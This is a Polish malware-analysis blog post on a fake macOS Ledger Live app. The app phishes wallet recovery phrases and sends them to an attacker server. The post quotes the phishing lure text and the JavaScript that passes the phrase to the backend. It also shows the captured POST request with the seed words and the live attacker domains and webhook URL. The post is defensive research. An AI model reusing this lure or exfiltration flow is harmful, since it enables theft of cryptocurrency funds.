RE:SØURCE
O mnieEN

Analiza impersonacji aplikacji Ledger Wallet

Cover Image for Analiza impersonacji aplikacji Ledger Wallet
Arkadiusz Marta
Arkadiusz Marta

Wprowadzenie

W tym wpisie chciałem kontynuować analizę złośliwego oprogramowania opisanego w poprzednim artykule zatytułowanym Kampania typu stealer wymierzona w macOS. W tym artykule rozwijam tę analizę, koncentrując się na ładunku second stage.

Początkowo linia kodu w AppleScript odpowiedzialna za pobranie second stage była zakomentowana, co oznaczało, że ta część nie zostałaby wykonana na komputerze ofiary. Nadal jednak możliwe było uzyskanie dostępu do adresu URL powiązanego z second stage i pobranie go ręcznie.

Na podstawie kodu AppleScript możemy przypuszczać, że jego celem było usunięcie wiarygodnej aplikacji Ledger Wallet i zastąpienie jej złośliwą wersją.

Podstawiona aplikacja Ledger Live pełni funkcję stealera i wykorzystuje techniki socjotechniczne, aby nakłonić użytkownika do podania kluczy odzyskiwania, która następnie jest przesyłana do domeny kontrolowanej przez atakującego.


Aplikacja Ledger Live

Na początku możemy przyjrzeć się prawdziwej aplikacji Ledger Wallet, wcześniej znanej jako Ledger Live, która jest portfelem kryptowalutowym.

Następnie możemy pobrać wersję desktopową z poniższego źródła:

https://shop.ledger.com/pages/ledger-wallet-download 

Ledger Wallet

W pełni zainstalowana aplikacja Ledger Wallet ma rozmiar 568,3 MB. Możemy również przeanalizować strukturę katalogów Ledger Wallet.app, aby później porównać ją ze złośliwą aplikacją.

/Applications/Ledger Wallet.app
└── Contents
    ├── CodeResources
    ├── Frameworks
    │   ├── Electron Framework.framework
    │   │   └── Versions/A
    │   │       ├── Electron Framework          ← Główny plik binarny
    │   │       ├── Helpers
    │   │       │   └── chrome_crashpad_handler
    │   │       ├── Libraries
    │   │       │   ├── libEGL.dylib
    │   │       │   ├── libGLESv2.dylib
    │   │       │   ├── libffmpeg.dylib
    │   │       │   ├── libvk_swiftshader.dylib
    │   │       │   └── vk_swiftshader_icd.json
    │   │       ├── Resources
    │   │       │   ├── Info.plist
    │   │       │   ├── MainMenu.nib
    │   │       │   ├── chrome_100_percent.pak
    │   │       │   ├── chrome_200_percent.pak
    │   │       │   ├── icudtl.dat
    │   │       │   ├── resources.pak
    │   │       │   ├── v8_context_snapshot.arm64.bin
    │   │       │   ├── v8_context_snapshot.x86_64.bin
    │   │       │   ├── *.lproj/locale.pak      ← Ponad 50 pakietów językowych
    │   │       │   └── ...
    │   │       └── _CodeSignature
    │   │           └── CodeResources
    │   │
    │   ├── Ledger Wallet Helper (GPU).app      ← Proces pomocniczy obsługi GPU
    │   │   └── Contents/{Info.plist, MacOS/, PkgInfo, _CodeSignature/}
    │   │
    │   ├── Ledger Wallet Helper (Plugin).app   ← Proces pomocniczy dla komponentów wtyczek
    │   │   └── Contents/{Info.plist, MacOS/, PkgInfo, _CodeSignature/}
    │   │
    │   ├── Ledger Wallet Helper (Renderer).app ← Proces pomocniczy renderowania interfejsu
    │   │   └── Contents/{Info.plist, MacOS/, PkgInfo, _CodeSignature/}
    │   │
    │   ├── Ledger Wallet Helper.app            ← Główny proces pomocniczy aplikacji
    │   │   └── Contents/{Info.plist, MacOS/, PkgInfo, _CodeSignature/}
    │   │
    │   ├── Mantle.framework                    ← Framework warstwy modelu danych
    │   │   └── Versions/A/{Mantle, Resources/, _CodeSignature/}
    │   │
    │   ├── ReactiveObjC.framework              ← Framework Reactive 
    │   │   └── Versions/A/{ReactiveObjC, Resources/, _CodeSignature/}
    │   │
    │   └── Squirrel.framework                  ← Framework mechanizmu automatycznych aktualizacji
    │       └── Versions/A/{Squirrel, Resources/ShipIt, _CodeSignature/}
    ├── Info.plist
    ├── MacOS
    │   └── Ledger Wallet                       ← Główny plik wykonywalny aplikacji
    ├── PkgInfo
    ├── Resources
    │   ├── app-update.yml                      ← Konfiguracja mechanizmu aktualizacji
    │   ├── app.asar                            ← Pakiet aplikacji Electron
    │   ├── icon.icns                           ← Ikona aplikacji
    │   └── *.lproj/                            ← Pakiety lokalizacyjne aplikacji
    └── _CodeSignature
        └── CodeResources                       ← Sygnatura kodu

Złośliwa Aplikacja Ledger Live Application

Złośliwy ładunek second stage został pobrany z domeny gamma.metricsaggregator.to w postaci skompresowanego archiwum GLM.zip.

Po rozpakowaniu zawartości archiwum otrzymujemy aplikację Ledger Live.app. Jej rozmiar wynosi 45,1 MB, a więc jest ona znacznie mniejsza niż poprawna aplikacja Ledger Wallet. Dodatkowo aplikacja nie jest poprawnie podpisana, ponieważ została podpisana jedynie ad-hoc.

Ledger Live

Podczas analizy struktury aplikacji widać, że jest ona znacznie mniej złożona niż w przypadku poprawnej wersji i zawiera jedynie pojedynczy plik wykonywalny o nazwie akjshd-lkjang, plik Info.plist oraz ikonę.

Ledger Live.app
└── Contents
    ├── Info.plist
    ├── MacOS
    │   └── akjshd-lkjang              ← Malicious Go/Wails binary
    └── Resources
        └── iconfile.icns              ← Application icon

Złośliwa aplikacja jest znacznie mniejsza zarówno pod względem rozmiaru, jak i złożoności. Brakuje w niej pełnego frameworka Electron, procesów pomocniczych oraz prawidłowych sygnatur kodu obecnych w prawdziwej aplikacji Ledger Wallet.


Wstępna Analiza Statyczna

Możemy przejść do wstępnej analizy statycznej złośliwej aplikacji, aby uzyskać ogólne zrozumienie jej struktury i potencjalnego działania, a także określić, na co zwrócić uwagę podczas późniejszej analizy dynamicznej.

Sygnatura Aplikacji

Wstępna analiza pakietu aplikacji Ledger Live.app ujawnia kilka istotnych kwesti, które powinny zwrócić naszą uwagę.

Aplikacja została podpisana ad-hoc, co oznacza, że nie posiada ważnego certyfikatu Apple Developer oraz nie została poddana procesowi notaryzacji. Uruchomienie polecenia codesign -dvv pozwala nam to potwierdzić.

Identifier=a.out
Format=app bundle with Mach-O universal (x86_64 arm64)
CodeDirectory v=20400 size=166430 flags=0x20002(adhoc,linker-signed) hashes=5198+0 location=embedded
Signature=adhoc
Info.plist=not bound
TeamIdentifier=not set
Sealed Resources=none
Internal requirements=none

Dla porównania, poprawnie podpisana i notaryzowana aplikacja, taka jak prawdziwy Ledger Wallet, zwraca następujące informacje:

CodeDirectory v=20500 size=635 flags=0x10000(runtime) hashes=9+7 location=embedded
Signature size=8969
Authority=Developer ID Application: Ledger SAS (X6LFS5BQKN)
Authority=Developer ID Certification Authority
Authority=Apple Root CA
Timestamp=20 Nov 2025 at 12:59:07
Notarization Ticket=stapled
Info.plist entries=32
TeamIdentifier=X6LFS5BQKN
Runtime Version=26.0.0
Sealed Resources version=2 rules=13 files=11
Internal requirements count=1 size=176

Możemy przeprowadzić krótkie porównanie obu aplikacji w poniższej tabeli.

Atrybut Ledger Wallet Złośliwy Ledger Live
Authority Developer ID (Ledger SAS) Brak (ad-hoc)
TeamIdentifier X6LFS5BQKN Not set
Notaryzacja Stapled ticket None
Runtime Hardening Włączony (0x10000) Wyłączone
Sealed Resources 11 files, 13 rules None
Certificate Chain Apple Root CA → Developer ID None

W przeciwieństwie do Ledger Wallet, który jest poprawnie podpisany przez Ledger SAS, notaryzowany przez Apple oraz zabezpieczony mechanizmami hardened runtime i sealed resources, złośliwa próbka została podpisana ad-hoc. Nie posiada ona łańcucha certyfikatów, notaryzacji ani mechanizmów ochrony integralności, co oznacza, że na prawidłowo skonfigurowanym systemie macOS mechanizm Gatekeeper wyświetliłby ostrzeżenia.

Architektura Pliku Wykonywalnego

Korzystając z narzędzi otool oraz file, możemy ustalić, że plik wykonywalny akjshd-lkjanfg jest tzw. fat binary, obsługującym zarówno architekturę Intel (x86_64), jak i Apple Silicon (arm64).

Mach-O universal binary with 2 architectures: [x86_64:Mach-O 64-bit executable x86_64] [arm64]

Poza określeniem architektury możemy również użyć otool, aby wyświetlić wszystkie zależności oraz biblioteki dynamiczne wykorzystywane przez złośliwą aplikację.

Spośród tych zależności szczególnie istotne z punktu widzenia zachowania malware są poniższe biblioteki, których działanie będziemy obserwować podczas analizy dynamicznej.

Biblioteka Znaczenie
WebKit.framework Silnik przeglądarki (UI rendering)
Foundation, Cocoa, AppKit Frameworki GUI systemu macOS
libresolv.9.dylib Obsługa DNS

Obecność frameworka WebKit jest istotna, ponieważ umożliwia aplikacji natywne renderowanie treści HTML i JavaScript, zapewniając wygodny mechanizm do wyświetlania interfejsów użytkownika.

Identyfikacja Frameworka

Następnie możemy przejść do analizy pliku Property List (Info.plist), aby uzyskać dodatkowe informacje na temat malware. Pełna zawartość tego pliku została przedstawiona poniżej:

<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
    <dict>
        <key>CFBundlePackageType</key>
        <string>APPL</string>
        <key>CFBundleName</key>
        <string>akjshd-lkjanfg</string>
        <key>CFBundleExecutable</key>
        <string>akjshd-lkjanfg</string>
        <key>CFBundleIdentifier</key>
        <string>com.wails.akjshd-lkjanfg</string>
        <key>CFBundleVersion</key>
        <string>1.0.0</string>
        <key>CFBundleGetInfoString</key>
        <string>Built using Wails (https://wails.io)</string>
        <key>CFBundleShortVersionString</key>
        <string>1.0.0</string>
        <key>CFBundleIconFile</key>
        <string>iconfile</string>
        <key>LSMinimumSystemVersion</key>
        <string>10.13.0</string>
        <key>NSHighResolutionCapable</key>
        <string>true</string>
        <key>NSHumanReadableCopyright</key>
        <string>Copyright.........</string>
        
        
    </dict>
</plist>

Najbardziej znaczącym polem jest CFBundleGetInfoString, ponieważ ujawnia framework, przy użyciu którego zbudowano stealera.

<key>CFBundleGetInfoString</key>
<string>Built using Wails (https://wails.io)</string>

Wails jest frameworkiem w języku Go, przeznaczonym do tworzenia aplikacji desktopowych z webowym frontendem. Wykorzystuje on WebKit do renderowania HTML i JavaScript, natomiast Go odpowiada za logikę backendową.

Inne interesujące pola obejmują następujące elementy:

Pole Wartośc Znaczenie
CFBundleIdentifier com.wails.akjshd-lkjanfg Identyfikator Wails
CFBundleExecutable akjshd-lkjanfg Nazwa pliku wykonywalnego
LSMinimumSystemVersion 10.13.0 Celuje w macOS High Sierra+

Identyfikator com.wails.akjshd-lkjanfg potwierdza użycie frameworka Wails, natomiast pozornie losowa nazwa pliku wykonywalnego akjshd-lkjanfg wskazuje na celową obfuskację.

Analiza Ciągów Znaków

Udało nam się ustalić, że złośliwa aplikacja została zbudowana przy użyciu frameworka Wails oraz napisana w języku Go.

Możemy wykorzystać narzędzie strings, aby wyszukać ciągi znaków sugerujące użycie Go i potwierdzić wcześniejsze ustalenia.

strings -a akjshd-lkjanfg | egrep -i 'go build|golang|runtime\.|wails'

W ten sposób możemy znaleźć wiele elementów, które wskazują na użycie języka Go:

Go buildinf:
runtime.GC
runtime.GOMAXPROCS
runtime.GOROOT
runtime.Gosched
runtime.Goexit
runtime.Caller
runtime.Callers
runtime.LockOSThread
vBtLj4f98J_L/runtime.go

A także oznaki wykorzystania frameworka Wails:

window.wails
@"WailsContext"
@"WailsWebView"
:wails:WindowGetSize
:wails:ClipboardGetText

Możemy również zauważyć ciągi znaków odnoszące się do marki Ledger:

Ledger SAS. Ledger Live v2.130.1
https://support.ledger.com/

Obfuskacja Kodu

Przeglądając rezultaty otrzymane dzięki narzędziu strings, zauważamy wiele zaciemnionych wpisów.

Część z nich wskazuje na obfuskowane ścieżki pakietów, takie jak poniższe:

vBtLj4f98J_L/runtime.go
vBtLj4f98J_L/traceruntime.go
cTlLZn/runtime.go
cTlLZn/traceruntime.go

Inne odnoszą się do zaciemnionych wywołań metod:

EzH6p2e1dm.(*Zg5Eog).Extensions
EzH6p2e1dm.(*Zg5Eog).IsRoot
EzH6p2e1dm.(*EaQnWGr).IsPrivateUse
I4pVyq__rDad.(*EhnhIkGn4).WebsocketIPC
I4pVyq__rDad.(*EhnhIkGn4).RuntimeDesktopJS

Jeśli przeanalizujemy dogłębnie rezultaty zwracane przez strings, możemy znaleźć potencjalne bezpośrednie odniesienie do narzędzia obfuskacyjnego użytego przez autora tego malware:

gobfuscatei36Ehlf9ai4QHJMJl4endStream
gobfuscate

gobfuscate jest narzędziem do obfuskacji, które zastępuje czytelne identyfikatory w plikach binarnych Go, utrudniając analizę statyczną badaczom bezpieczeństwa.

Na stronie projektu gobfuscate w serwisie GitHub możemy przeczytać:

gobfuscate hashes the names of most struct methods. However, it does not rename methods whose names match methods of any imported interfaces. This is mostly due to internal constraints from the refactoring engine.

Jest to zgodne z wcześniejszymi obserwacjami, gdzie pakiety i typy zostały zaciemnione, natomiast nazwy metod pozostały czytelne dla użytkownika.

Elementy HTML/JS

Przy dalszej analizie wyników polecenia strings można zauważyć obecność wielu elementów HTML oraz JavaScript.

Pierwsza obszerna część wyników przedstawia standardową stronę HTML z obrazem osadzonym w formacie base64, co po raz kolejny potwierdza, że aplikacja została zbudowana w oparciu o framework Wails.

Nie wnosi to jednak żadnych nowych informacji do naszej wiedzy na temat możliwości tego złośliwego oprogramowania.

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>index.html not found</title>
    <style>
        html {
            background-color: rgba(33, 37, 43);
            text-align: center;
            color: white;
        }
        body {
            padding-top: 40px;
            margin: 0;
            font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", "Roboto",
            "Oxygen", "Ubuntu", "Cantarell", "Fira Sans", "Droid Sans", "Helvetica Neue",
            sans-serif;
            overscroll-behavior: none;
        }
        .logo {
            width: 50%;
            height: 30%;
        }
        div {
            padding-top: 20px;
            font-size: 2rem;
        }
    </style>
</head>
<body>
<img class="logo"
     src="data:image/png;base64,[...]"/>
<div>index.html not found</div>
<p>Please try reloading the page</p>
</body>
</html>

Możemy również otworzyć wyrenderowaną stronę lokalnie w przeglądarce.

Wails HTML

Możemy przeprowadzić dalszą analizę, aby odkryć znaczną część kodu JavaScript odpowiedzialnego za główną funkcjonalność złośliwej aplikacji.

Cały kod jest zbyt obszerny, aby zamieścić go tutaj w całości, jednak omówimy jego najważniejsze elementy kluczowe dla działania malware’u.

Odnaleziony kod zawiera pełną logikę interfejsu UI wykorzystanego do phishingu, który zaobserwujemy później w części związanej z analizą dynamiczną.

Interfejs użytkownika imituje występowanie błędu w celu wywołania poczucia pilności. Możemy zauważyć następujące elementy UI, których celem jest przekonanie zaatakowanego użytkownika do podania kluczy odzyskiwania portfela Ledger Wallet:

MEMORY CORRUPTION: GENUINE CHECK
Enter secret recovery phrase from your Recovery Sheet
Error encountered? Restart Ledger Live and try again or hard RESET your Ledger device, update firmware and continue on device.

Kod zawiera wiele ciągów znaków mających na celu nadanie aplikacji pozorów legalności poprzez odwoływanie się do autentycznych adresów URL oraz konwencji nazewniczych powiązanych z Ledger Wallet.

Ledger SAS. Ledger Live v2.130.1
Get help at http://support.ledger.com/

Możemy również znaleźć obrazy zakodowane w formacie Base64, które mają imitować oficjalne znaki towarowe Ledger, takie jak logo Ledger Live.

Już teraz możemy zauważyć, że kod JavaScript konfiguruje wartości null dla wcześniej wspomnianych kluczy odzyskiwania. Inicjalizuje on tablicę 24 wartości null, odpowiadającą standardowej długości frazy seed portfela kryptowalutowego, co dodatkowo wskazuje na ukierunkowany na eksfiltrację charakter tej próbki.

setup(e) {
        // 24 puste wartości null przeznaczone na recovery key
        const t = cs([
            null, null, null, null, null, null, null, null,
            null, null, null, null, null, null, null, null,
            null, null, null, null, null, null, null, null
        ]);
        
        // . . .
        }

Główny mechanizm kradzieży danych opiera się na funkcji o nazwie vl(). Funkcja ta pozwala na komunikację pomiędzy frontendem JavaScript a backendem napisanym w Go (Wails).

function vl(e) {
    return ObfuscatedCall(1, [e])
}

Rzeczywista komunikacja z backendem jest realizowana za pomocą funkcji ObfuscatedCall(). Jest ona zdefiniowana w zakresie obiektu window i stanowi wrapper dla wywołania backendowego, które jest wykonywane poprzez window.WailsInvoke:

window.ObfuscatedCall = (e, t, n) => (
    n == null && (n = 0),
    new Promise(function(o, i) {
        var r;
        // Wygeneruj unikalny Callback ID, np. "1-3847293847"
        do r = e + "-" + D(); while (c[r]);
        
        // Timeout
        var l;
        n > 0 && (l = setTimeout(function() {
            i(Error("Call to method " + e + " timed out. Request ID: " + r))
        }, n)),
        
        // Register the callback to resolve/reject later
        c[r] = {
            timeoutHandle: l,
            reject: i,
            resolve: o
        };
        
        // Przesyłane dane
        try {
            let d = {
                id: e,          // Identyfikator metody (np. '1')
                args: t,        // Argumenty (np. ciąg JSON zawierający recovery key)
                callbackID: r   // Unikalny Callback ID
            };
            
            // Faktyczne połączenie frontend–backend
            window.WailsInvoke("c" + JSON.stringify(d))
        } catch (d) {
            console.error(d)
        }
    })
);

Handler window.WailsInvoke zawiera logikę detekcji platformy zarówno dla Windows (chrome.webview), jak i macOS (webkit.messageHandlers), co najprawdopodobniej stanowi standardowe zachowanie frameworka Wails. Ponieważ analizowana próbka jest plikiem Mach-O dla macOS, ścieżka kodu związana z Windows nigdy nie zostanie wykonana.

(() => {
    (function() {
        let n = function(e) {
                for (var s = window[e.shift()]; s && e.length;) s = s[e.shift()];
                return s
            },
            o = n(["chrome", "webview", "postMessage"]),
            t = n(["webkit", "messageHandlers", "external", "postMessage"]);
        if (!o && !t) {
            console.error("Unsupported Platform");
            return
        }
        o && (window.WailsInvoke = e => window.chrome.webview.postMessage(e)), t && (window.WailsInvoke = e => window.webkit.messageHandlers.external.postMessage(e))
    })();
})();

Po przesłaniu dane są wysyłane natychmiast, jednak interfejs użytkownika sztucznie odczekuje 1,6 sekundy (1600ms) przed zmianą stanu. Ma to na celu stworzenie wrażenia, że zachodzi rzeczywisty proces weryfikacji, podczas gdy w tle dochodzi do kradzieży kluczy ofiary.

// Exfiltrates data then waits 1.6s before showing success/next state
vl(JSON.stringify({data:t.value.join(" ")})),
setTimeout(()=>{n.value=!0}, 1600)

Na podstawie naszej analizy, gdy użytkownik wprowadza i przesyła swoją frazę, frontend przekazuje ją w formacie JSON do backendu za pośrednictwem frameworka Wails (webkit.messageHandlers).

Następnie backend uruchamia funkcję eksfiltracji (metoda o identyfikatorze 1), która wysyła dane na serwer C2, po czym zwraca sygnał powodzenia aby zakończyć Promise.


Uruchomienie Malware

Ponieważ aplikacja nie została prawidłowo podpisana, przed jej uruchomieniem konieczne było najpierw usunięcie atrybutu kwarantanny (com.apple.quarantine) z aplikacji Ledger Live.app.

Po uruchomieniu złośliwego oprogramowania widzimy, że pojawia się okno Ledger Live. Aplikacja wykorzystuje logotypy powiązane z Ledger oraz numery wersji produktu, aby sprawiać wrażenie autentycznego oprogramowania.

Już na tym etapie można zaobserwować, że aplikacja posiada cechy zidentyfikowane podczas analizy statycznej, takie jak placeholdery dla 24 słów klucza odzyskiwania oraz sztucznie wytworzoną atmosferę pilności poprzez wyświetlany komunikat, który nakłania użytkownika do podania kluczy odzyskiwania.

Ledger Detonation

Po wprowadzeniu losowych wartości w sekcji odzyskiwania i naciśnięciu przycisku Continue, aplikacja przekierowuje nas na kolejną stronę, która informuje użytkownika, że wystąpił błąd, oraz przedstawia krótkie instrukcje dotyczące dalszego postępowania.

Data Sent

Poza tym z perspektywy interfejsu graficznego nie dzieje się nic więcej. Wyświetlne dwa panele stanowią jedyną funkcjonalność widoczną dla użytkownika po uruchomieniu próbki malware na jego systemie.


Analiza Dynamiczna - System Plików

Po uruchomieniu malware możemy teraz przyjrzeć się jego rzeczywistym możliwościom, śladom jakie pozostawia oraz aktywności, którą wykonał na naszej maszynie.

Przed detonacją uruchomiono skrypty pozwalające określić stan maszyny przed i po wykonaniu malware, co umożliwiło porównanie obu wyników i zidentyfikowanie zmian wprowadzonych w systemie plików.

Pierwszą i najważniejszą obserwacją dotyczącą tej próbki malware jest fakt, że nie pozostawiła ona na maszynie żadnych dodatkowych mechanizmów persystencji.

Środowisko było skonfigurowane z uruchomionym w tle narzędziem BlockBlock, które nie zgłosiło żadnych modyfikacji systemu plików.

Na podstawie zebranych informacji nie odkryto żadnych mechanizmów persystencji. Malware nie utworzyło żadnych LaunchAgents, LaunchDaemons, wpisów crontab ani zaplanowanych tasków.

Artefakty Wykonania w Systemie Plików

Teraz przeanalizujemy artefakty wykonania w systemie plików pozostawione przez tę próbkę malware, które składają się głównie ze śladów związanych z uruchomieniem frameworka Wails. Artefakty te odzwierciedlają standardowe zachowanie środowiska wykonawczego Wails. Nie odnaleziono śladów pozostawienia mechanizmów persystencji przez próbkę.

Pliki Preferencji

Pierwszym wskaźnikiem jest utworzenie pliku com.wails.akjshd-lkjanfg.plist w katalogu ~/Library/Preferences/.

Ten plik preferencji jest automatycznie generowany przez runtime Wails i w tym przypadku zawiera jedynie ogólne ustawienia macOS dotyczące wprowadzania tekstu.

bplist00_NSAutomaticQuoteSubstitutionEnabled

WebKit

Kolejny zestaw danych jest powiązany z macOS WebKit, czyli silnikiem przeglądarkowym wykorzystywanym do osadzania treści webowych w aplikacjach macOS. Artefakty te wynikają z użycia WebKit przez malware do renderowania interfejsu i znajdują się w następującym katalogu:

~/Library/WebKit/com.wails.akjshd-lkjanfg/
WebsiteData/Default/salt
WebsiteData/MediaKeys/v1/salt
WebsiteData/ResourceLoadStatistics/observations.db
WebsiteData/ResourceLoadStatistics/observations.db-shm
WebsiteData/ResourceLoadStatistics/observations.db-wal
WebsiteData/ResourceLoadStatistics/pcm.db
WebsiteData/ResourceLoadStatistics/pcm.db-shm
WebsiteData/ResourceLoadStatistics/pcm.db-wal

Bazy danych ResourceLoadStatistics zostały wyodrębnione przy użyciu polecenia sqlite3 .dump.

Analiza pliku observations.db wykazała, że śledzona była wyłącznie wewnętrzna domena Wails, ponieważ pojawiła się w polu registrableDomain tabeli ObservedDomains. Nie zaobserwowano tutaj komunikacji z serwerem C2, choć jej obecność jest potwierdzona i zostanie omówiona w dalszej części.

Wskazuje to, że eksfiltracja danych odbywa się poprzez backend, a nie bezpośrednio przez komponent WebView.

WebKit Cache

Malware tworzy katalog cache w lokalizacji ~/Library/Caches/com.wails.akjshd-lkjanfg/WebKit/, który zawiera jedynie pliki wykorzystywane w operacjach kryptograficznych.

WebKit/CacheStorage/salt
WebKit/NetworkCache/Version 16/salt  (x64)
WebKit/NetworkCache/Version 17/salt  (ARM)

Nie znaleziono żadnych faktycznie zbuforowanych zasobów, ponieważ phishingowy interfejs użytkownika jest osadzony bezpośrednio w pliku wykonywalnym, a nie pobierany zdalnie.

Zapisany Stan Aplikacji

macOS automatycznie zachowuje stan aplikacji w następującej lokalizacji:

~/Library/Saved Application State/com.wails.akjshd-lkjanfg.savedState/
data.data
window_2.data
windows.plist

Plik windows.plist przechowuje pozycję okna, współrzędne przycisków oraz powiązane parametry wyświetlania okna aplikacji.

Podsumowanie

Na podstawie naszej analizy artefaktów wykonania na hoście, to malware dla macOS nie ustanawia mechanizmów persystencji, ponieważ nie zaobserwowano żadnych LaunchAgents, LaunchDaemons, elementów logowania ani zaplanowanych zadań.

Jego ślad jest minimalny i ogranicza się do standardowych artefaktów środowiska uruchomieniowego aplikacji. Może zostać wykryte poprzez pliki preferencji oraz katalogi WebKit odpowiadające wzorcowi com.wails.akjshd-lkjanfg.


Analiza Dynamiczna - Ruch Sieciowy

Analiza ruchu sieciowego tej próbki malware ujawnia coś bardziej interesującego. Nadal jest to jedynie eksfiltracja kluczy odzyskiwania wprowadzonych przez użytkownika, jednak pozostaje to działaniem złośliwym, ponieważ dane są przesyłane do zewnętrznej domeny kontrolowanej przez atakującego.

Zapytania DNS

Podczas uruchomienia Wireshark można zaobserwować, że malware podejmuje próbę wykonania rozpoznania DNS dla następującej domeny:

brsp.secureapimiddleware.com

Wireshark

Przed dalszym etapem analizy warto zaznaczyć, że domena secureapimiddleware.com pojawiała się już wcześniej w kampaniach podobnych do tej opisanej w moim wcześniejszym wpisie.

Jak pokazano w artykule A Modern Ruse: When ‘Cloudflare’ Phishing Goes Full-Screen, gamma.secureapimiddleware.com było wykorzystywane do załadowania złośliwego AppleScript, który następnie został wykonany na maszynie docelowego użytkownika.

Przechwytywanie Komunikacji

Po skonfigurowaniu DNS Sinkhole możemy przechwycić i przekierować ruch na własny adres IP, uniemożliwiając malware dotarcie do prawdziwej domeny, a jednocześnie pozwalając na inspekcję komunikacji.

Możemy uruchomić mitmproxy nasłuchujący na porcie 443, aby obserwować dokładne żądania, które malware próbuje wysyłać do zewnętrznej domeny.

Zaobserwowaliśmy, że malware stale wysyła kolejne żądania do domeny zewnętrznej, ponieważ otrzymuje błędy certyfikatu i nie uzyskuje prawidłowej odpowiedzi z serwera.

Mitmporxy

Struktura wychodzącego żądania wygląda następująco. W ścieżce znajduje się 24-znakowy alfanumeryczny ciąg, który prawdopodobnie pełni funkcję identyfikatora, natomiast w treści przesyłane są słowa kluczowe wprowadzone przez użytkownika.

POST /webhook/68fd880c45892ad52f42ab4f HTTP/2.0
Host: brsp.secureapimiddleware.com
Content-Type: application/json
Content-Length: 58
Accept-Encoding: gzip
User-Agent: Go-http-client/2.0

{"data":"word1 word2 word3 word4 ... word24"}

Data Interception

Po skonfigurowaniu certyfikatu mitmproxy jako zaufanego certyfikatu możemy również uruchomić go z wykorzystaniem skryptu, który odpowiada malware treścią wskazującą na pomyślną eksfiltrację danych.

# Send fake success response
  flow.response = http.Response.make(
      200,
      json.dumps({"result": "ok", "status": "received"}),
      {"Content-Type": "application/json"}
  )

Po ponownym uruchomieniu malware i przesłaniu danych testowych można zauważyć, że po otrzymaniu pojedynczej poprawnej odpowiedzi malware nie wysyła już kolejnych żądań i kończy swoją aktywność.

Captured Data

Poza eksfiltracją kluczy odzyskiwania dostarczonych przez użytkownika malware nie podejmuje żadnych dodatkowych prób komunikacji sieciowej z domeną brsp.secureapimiddleware.com ani z żadnym innym hostem.


Odzyskiwanie adresu URL eksfiltracji danych

Ponieważ domena brsp.secureapimiddleware.com oraz webhook ID nie pojawiają się nigdzie ani w wynikach strings, ani w zdekodowanym kodzie JavaScript odpowiedzialnym za interfejs użytkownika, musimy przyjrzeć się bliżej plikowi binarnemu akjshd-lkjanfg i podjąć próbę jej inżynierii wstecznej.

Przed rozpoczęciem analizy wyodrębniłem wersję binarną x64 z uniwersalnego pliku Mach-O (fat binary) przy użyciu narzędzia lipo, aby przeprowadzić dalsze działania.

Aby przyspieszyć proces analizy, skorzystałem z narzędzia GoResolver, które umożliwia identyfikację oraz rozwiązywanie symboli funkcji w zaciemnionej binarce Go.

Następnie próbowałem odnaleźć rekordy mogące być powiązane z eksfiltracją danych lub wysyłaniem dancyh w formacie JSON zawierających klucze odzyskiwania. Jednym z obiecujących tropów był wynik związany z metodą SubmitForm:

"0x100e51820": {
            "Name": "main.(*DEayvTqSPuo).SubmitForm",
            "Sources": {
                "extract": 1
            }
        }

Narzędzie GoResolver było w stanie skorelować metodę SubmitForm z funkcją zidentyfikowaną w zdekompilowanym wyniku BinaryNinja jako sub_100e51820.

Możemy zauważyć, że na początku alokowany jest bufor o rozmiarze 0x4a, a następnie inicjalizowany przy użyciu memcpy do zmiennej rax_3.

1c a7 68 c3 b6 e3 61 ec 88 62 be 84 70 2e b2 b2
63 75 8b 65 f1 70 69 a2 47 92 63 6c f6 aa a3 f4
c0 2e b8 6f 6d c8 77 65 21 68 2e 6f b9 2f 24 a4
eb 51 38 c7 f6 94 5a c1 8d 12 5b 28 cb 35 50 79
31 b0 c1 33 3d e4 72 e8 9f b2

Buffer

Po zakończeniu tego etapu możemy zauważyć, że na buforze wykonywane są następujące operacje bajtowe.

Byte-wise operations

W kolejnym kroku do zmiennej var_d3 przypisywana jest pewna wartość, która następnie zostaje nadpisana oraz rozszerzona o kolejną porcję danych przez funkcję sub_10007591a, począwszy od czwartego bajtu:

0x3e1d3a1703083847

Index Table

Gdy przyjrzymy się funkcji sub_10007591a oraz jej działaniu, widzimy, że kopiuje ona 80 bajtów do wskazanej lokalizacji (int128_t ma rozmiar 16 bajtów, a wykonywanych jest 5 oddzielnych operacji zapisu).

Function Implementation

Następnie możemy sprawdzić obszar, z którego dane są kopiowane, czyli data_100faac78, i przeanalizować pierwsze 80 bajtów w tym fragmencie pamięci:

17 3a 1d 3e 00 36 18 22 1c 28 0b 34 1a 31 0f 45
3f 45 37 19 49 12 43 01 14 18 36 0b 40 2a 05 01
42 18 1a 1d 30 48 07 00 18 22 25 28 3c 35 38 2c
20 47 42 07 18 04 06 38 31 33 14 46 33 04 1c 0e
02 2f 3b 44 3f 06 39 40 00 3f 03 0a 2a 49 0f 1e

Function Implementation

W kolejnej części kodu możemy zauważyć, że dane znajdujące się w zmiennej rax_3 są przetwarzane w pętli na podstawie zawartości zmiennej var_d3, która pełni rolę tablicy indeksów wykorzystywanej do określenia, które konkretne bajty zostaną poddane transformacji.

Function Implementation

Indeksy są wyznaczane przez wartości zmiennych rsi_8 oraz r_8_4 (rdi_10), natomiast zmienna rdi_12 zawiera wynik operacji XOR pomiędzy rsi_8 i r_8_4, powiększony o wartość indeksu iteratora.

char* rsi_8 = zx.q(*(&var_d3 + i))
uint32_t rdi_10 = zx.d(*(&var_d3:1 + i))
char* r8_4 = zx.q(rdi_10)
uint64_t rdi_12 = zx.q((rdi_10 ^ rsi_8.d) + i.d)

Następnie rezultat zapisany w zmiennej rdi_12 jest wykorzystywany do przekształcenia wskazanych indeksów w buforze rax_3.

*(rax_3 + rsi_8) = *(r8_4 + rax_3) + rdi_12.b + 0x5f
*(rax_3 + r8_4) = r9_4

Jeśli odtworzymy cały proces opisany powyżej, otrzymamy następującą tablicę bajtów, z której wyłania się pełny adres URL służący do eksfiltracji danych.

\xffhttps://brsp.secureapimiddleware.com/webhook/68fd880c45892ad52f42ab4f\xd1\xba\xea,
https://brsp.secureapimiddleware.com/webhook/68fd880c45892ad52f42ab4f

Dowodzi to, że webhook ID jest wartością statyczną i nie jest generowany dynamicznie (np. na podstawie informacji o urządzeniu ofiary), co oznacza, że będzie identyczny dla każdej zainfekowanej maszyny.


Indicators of Compromise

